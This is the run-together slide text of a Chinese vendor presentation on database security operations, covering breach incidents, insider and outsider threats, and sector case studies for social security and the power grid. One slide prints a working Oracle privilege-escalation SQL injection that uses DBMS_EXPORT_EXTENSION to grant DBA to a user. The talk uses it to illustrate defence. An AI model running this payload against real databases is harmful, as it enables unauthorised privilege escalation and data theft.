安华金和：数据库Security运维.pptx

数据库Security运维让数据使用更安全安华金和 刘晓韬10月22日 1 Why？ 数据库Security运维2 传统IT架构下的数据库Security运维3 Security---互联网+时代的首要运维责任Verizon《数据泄露调查报告》指出：数据库中泄露的数据是数据泄漏事件发生的主要来源。数据库服务器占泄露记录总数的96%，数据库安全成为安全体系建设的关键所在！几个典型的DB Security事件2009：深圳福彩运维人员篡改数据库几个典型的DB Security事件2011：联创开发人员窃取信息1300W几个典型的DB Security事件2014：黑客入侵公安车管系统几个典型的DB Security事件2015：黑客入侵p2p金融插播一、一个黑客从外网入侵过程的解析（Sony)插播二、数据库Security在现代信息架构的挑战数据库应用环境复杂B/S架构使数据库间接暴露到互联网各种运维人员和IT外包人员直接访问数据库 应用方式的变更使数据库访问形式多样化误操作：大量更新删除业务数据非法操作：绕过应用违规访问数据库 非法操作：盗用 密码越权操作恶意操作：SQL 注入攻击非法操作：提升权限，窃取数据;拷贝备份、数据文件DBA特权用户黑客入侵者实施人员外网访问内网访问应用用户第三方运维开发人员VPN特权用户测试人员直接看到真实数据、批量导出程序后门：应用软件中留有数据下载接口非法操作：导出数据DB要Security运维的原因总结1、传统的安全藩篱已经打破，DB已经不再安全2、数据价值凸显，价值带来了风险3、安全责任全员化，DB Security已是重要运维责任1 Why？ 数据库Security运维2 传统IT架构下的数据库Security运维3 Security---互联网+时代的首要运维责任传统行业一：政府社保社保行业 -“4.22事件”1、2015年4月22日，国内各大网站曝出全国30省市社保单位曝出安全漏洞，数千万社保用户信息或泄漏。2、该新闻持续发酵，当日晚间百度搜索”社保行业泄露”已经收录接近400万，峰值更是达1800万。3、近4、5年来，数据泄密事件层出不穷。大大小小的企业、组织都在遭到数据库泄密事件的重创。《人民日报》信息泄漏利益驱动2015-05-04 05 版社保网络信息跑，千门万户不堪扰。技术仅补三分漏，恪守担当不可少。参保人信息倒卖新兴的信息倒卖公司已经将社保信息作为重要的商品。经济诈骗从身份证生日等信息分析银行卡密码；社保数据违规调查或发布 某省烟草厅干部公积金高额上缴基数被曝光事件等。人社DB Security的挑战1、社保信息交易价值极高2、社保庞大的IT架构，系统复杂性极高，潜在漏洞多 （省级或大地市，几十个业务系统和上百个数据库服务器）3、数据库访问与运维的人员组成复杂某市级社保行业的安全分析插播三：数据库自身的安全问题分析访问控制缺陷数据无返回数量控制SQL注入语句控制SQL特征控制高危SQL控制超级用户不受限DBMS漏洞系统注入漏洞权限提升漏洞拒绝服务漏洞缓冲区溢出CVE上一共公布了2000多个数据库漏洞明文存储数据文件明文存储日志文件明文存储配置文件暴露密码备份文件明文存储插播四：一个Oracle数据库提权示例--权限提升selectSYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE?IMMEDIATE?DECLARE?PRAGMA?AUTONOMOUS_TRANSACTION;BEGIN?EXECUTE?IMMEDIATE??grant?dba?to?vpatch;END;;END;--,SYS‘,0,1,0)? from?dual;某人社局DB Security的解决方案传统行业二：电力黑龙江北京电力设备总厂电力行业安全现状：安全事件层出不清安全事件：通过国网及其下属企业在Internet上的对外系统可以很容易地侵入到内部数据库获取大量敏感信息 。国家电网的DB Security安全风险电力行业-不同防护层的需求分析通过外部系统自身缺陷进行SQL注入或上传后门程序国产数据库安全加固运维侧大量外包人员需要审计和管控存在大量的攻击漏洞不支持SQLServer国网某数据中心的DB部署结构国网某数据中心的DB Security运维需求安全现状（1）应用系统量大复杂：营销系统、生产MIS、人事系统、财务系统、调度系统、ERP系统、OA系统等等（2）甲方技术人员匮乏，大部分的运维工作都外包给第三方，运维人员素质参差不齐；（3）核心的数据库账号和权限不在甲方掌控之中，基本都在运维人员手中；（4）数据库账号的使用和管理比较混乱，甲方不知道有多少高权限账号，